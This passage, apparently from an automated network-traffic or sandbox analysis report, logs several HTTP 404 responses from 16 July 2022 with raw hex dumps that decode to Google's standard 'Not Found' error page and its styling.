70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:53 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:55 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:58 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:00 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:03 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:05 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:07 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 